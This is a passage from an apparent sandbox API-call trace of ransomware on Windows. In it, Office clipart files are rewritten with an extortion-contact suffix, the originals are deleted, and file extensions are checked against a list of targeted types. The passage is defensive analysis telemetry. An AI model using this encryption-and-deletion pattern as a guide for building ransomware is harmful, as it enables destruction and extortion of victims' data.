lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0184.671] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0184.671] SetEndOfFile (hFile=0x378) returned 1 [0184.671] CloseHandle (hObject=0x378) returned 1 [0184.671] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.671] SetEndOfFile (hFile=0x2a8) returned 1 [0184.676] CloseHandle (hObject=0x2a8) returned 1 [0184.676] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 1 [0184.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0184.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0184.678] lstrlenW (lpString=".doc") returned 4 [0184.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.679] lstrlenW (lpString=".docx") returned 5 [0184.679] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0184.679] lstrlenW (lpString=".pdf") returned 4 [0184.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.679] lstrlenW (lpString=".xls") returned 4 [0184.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.679] lstrlenW (lpString=".xlsx") returned 5 [0184.679] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0184.679] lstrlenW (lpString=".ppt") returned 4 [0184.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0184.679] lstrlenW (lpString=".zip") returned 4 [0184.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.679] lstrlenW (lpString=".rar") returned 4 [0184.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.679] lstrlenW (lpString=".bz2") returned 4 [0184.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.679] lstrlenW (lpString=".7z") returned 3 [0184.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0184.679] lstrlenW (lpString=".dbf") returned 4 [0184.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0184.680] lstrlenW (lpString=".1cd") returned 4 [0184.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF") returned 68 [0184.680] lstrlenW (lpString=".jpg") returned 4 [0184.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.681] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=9072) returned 1 [0184.682] CloseHandle (hObject=0x2a8) returned 1 [0184.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 0x220 [0184.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.684] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.684] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.685] GetLastError () returned 0x0 [0184.685] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x2370, lpOverlapped=0x0) returned 1 [0184.688] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x2380, lpOverlapped=0x0) returned 1 [0184.692] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0184.692] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0184.980] SetEndOfFile (hFile=0x378) returned 1 [0184.980] CloseHandle (hObject=0x378) returned 1 [0184.980] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.980] SetEndOfFile (hFile=0x2a8) returned 1 [0184.984] CloseHandle (hObject=0x2a8) returned 1 [0184.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0184.986] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152882.wmf")) returned 1 [0184.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0184.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0184.987] lstrlenW (lpString=".doc") returned 4 [0184.987] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.988] lstrlenW (lpString=".docx") returned 5 [0184.988] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0184.988] lstrlenW (lpString=".pdf") returned 4 [0184.988] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.988] lstrlenW (lpString=".xls") returned 4 [0184.988] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.988] lstrlenW (lpString=".xlsx") returned 5 [0184.988] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0184.988] lstrlenW (lpString=".ppt") returned 4 [0184.988] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0184.988] lstrlenW (lpString=".zip") returned 4 [0184.988] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.988] lstrlenW (lpString=".rar") returned 4 [0184.988] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.988] lstrlenW (lpString=".bz2") returned 4 [0184.988] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.988] lstrlenW (lpString=".7z") returned 3 [0184.988] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0184.988] lstrlenW (lpString=".dbf") returned 4 [0184.989] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0184.989] lstrlenW (lpString=".1cd") returned 4 [0184.989] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0184.989] lstrlenW (lpString=".jpg") returned 4 [0184.989] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.991] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=4496) returned 1 [0184.991] CloseHandle (hObject=0x2a8) returned 1 [0184.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 0x220 [0184.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0184.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0184.992] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.992] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0184.994] GetLastError () returned 0x0 [0184.994] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1190, lpOverlapped=0x0) returned 1 [0184.996] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x11a0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x11a0, lpOverlapped=0x0) returned 1 [0184.998] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0184.998] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0184.998] SetEndOfFile (hFile=0x378) returned 1 [0184.998] CloseHandle (hObject=0x378) returned 1 [0184.999] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0184.999] SetEndOfFile (hFile=0x2a8) returned 1 [0185.007] CloseHandle (hObject=0x2a8) returned 1 [0185.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152898.wmf")) returned 1 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0185.009] lstrlenW (lpString=".doc") returned 4 [0185.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.009] lstrlenW (lpString=".docx") returned 5 [0185.009] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0185.009] lstrlenW (lpString=".pdf") returned 4 [0185.009] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.009] lstrlenW (lpString=".xls") returned 4 [0185.009] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.009] lstrlenW (lpString=".xlsx") returned 5 [0185.009] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0185.009] lstrlenW (lpString=".ppt") returned 4 [0185.009] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0185.009] lstrlenW (lpString=".zip") returned 4 [0185.009] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.009] lstrlenW (lpString=".rar") returned 4 [0185.009] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.009] lstrlenW (lpString=".bz2") returned 4 [0185.009] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.009] lstrlenW (lpString=".7z") returned 3 [0185.009] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0185.010] lstrlenW (lpString=".dbf") returned 4 [0185.010] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0185.010] lstrlenW (lpString=".1cd") returned 4 [0185.010] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152898.WMF") returned 68 [0185.010] lstrlenW (lpString=".jpg") returned 4 [0185.010] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.010] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=33068) returned 1 [0185.010] CloseHandle (hObject=0x2a8) returned 1 [0185.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 0x220 [0185.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.012] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.012] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0185.013] GetLastError () returned 0x0 [0185.013] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x812c, lpOverlapped=0x0) returned 1 [0185.016] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x8130, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x8130, lpOverlapped=0x0) returned 1 [0185.018] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.018] WriteFile (in: hFile=0x378, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.018] SetEndOfFile (hFile=0x378) returned 1 [0185.018] CloseHandle (hObject=0x378) returned 1 [0185.018] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.018] SetEndOfFile (hFile=0x2a8) returned 1 [0185.205] CloseHandle (hObject=0x2a8) returned 1 [0185.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153047.wmf")) returned 1 [0185.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0185.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0185.210] lstrlenW (lpString=".doc") returned 4 [0185.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.210] lstrlenW (lpString=".docx") returned 5 [0185.210] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0185.210] lstrlenW (lpString=".pdf") returned 4 [0185.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.210] lstrlenW (lpString=".xls") returned 4 [0185.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.210] lstrlenW (lpString=".xlsx") returned 5 [0185.210] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0185.210] lstrlenW (lpString=".ppt") returned 4 [0185.210] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0185.210] lstrlenW (lpString=".zip") returned 4 [0185.210] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.210] lstrlenW (lpString=".rar") returned 4 [0185.210] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.211] lstrlenW (lpString=".bz2") returned 4 [0185.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.211] lstrlenW (lpString=".7z") returned 3 [0185.211] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0185.211] lstrlenW (lpString=".dbf") returned 4 [0185.211] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0185.211] lstrlenW (lpString=".1cd") returned 4 [0185.211] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0185.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153047.WMF") returned 68 [0185.211] lstrlenW (lpString=".jpg") returned 4 [0185.211] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0185.212] GetFileSizeEx (in: hFile=0x2a8, lpFileSize=0x2aeff14 | out: lpFileSize=0x2aeff14*=7848) returned 1 [0185.212] CloseHandle (hObject=0x2a8) returned 1 [0185.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220 [0185.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0185.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0185.214] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.214] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0185.215] GetLastError () returned 0x0 [0185.215] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x1ea8, lpOverlapped=0x0) returned 1 [0185.219] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0x1eb0, lpOverlapped=0x0) returned 1 [0185.221] ReadFile (in: hFile=0x2a8, lpBuffer=0x3972020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2aefecc, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesRead=0x2aefecc*=0x0, lpOverlapped=0x0) returned 1 [0185.221] WriteFile (in: hFile=0x444, lpBuffer=0x3972020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2aefc94, lpOverlapped=0x0 | out: lpBuffer=0x3972020*, lpNumberOfBytesWritten=0x2aefc94*=0xec, lpOverlapped=0x0) returned 1 [0185.221] SetEndOfFile (hFile=0x444) returned 1 [0185.221] CloseHandle (hObject=0x444) returned 1 [0185.221] SetFilePointerEx (in: hFile=0x2a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aefec0 | out: lpNewFilePointer=0x0) returned 1 [0185.221] SetEndOfFile (hFile=0x2a8) returned 1 [0185.224] CloseHandle (hObject=0x2a8) returned 1 [0185.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0185.225] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0185.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0185.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0185.226] lstrlenW (lpString=".doc") returned 4 [0185.226] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0185.226] lstrlenW (lpString=".docx") returned 5 [0185.226] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0185.226] lstrlenW (lpString=".pdf") returned 4 [0185.226] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0185.226] lstrlenW (lpString=".xls") returned 4 [0185.226] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0185.226] lstrlenW (lpString=".xlsx") returned 5 [0185.226] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0185.226] lstrlenW (lpString=".ppt") returned 4 [0185.226] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0185.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0185.226] lstrlenW (lpString=".zip") returned 4 [0185.226] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0185.226] lstrlenW (lpString=".rar") returned 4 [0185.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0185.226] lstrlenW (lpString=".bz2") returned 4 [0185.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0185.227] lstrlenW (lpString=".7z") returned 3 [0185.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0185.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0185.227] lstrlenW (lpString=".dbf") returned 4 [0185.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0185.227] lstrlenW (lpString="C:\\Program Files\\Microsoft 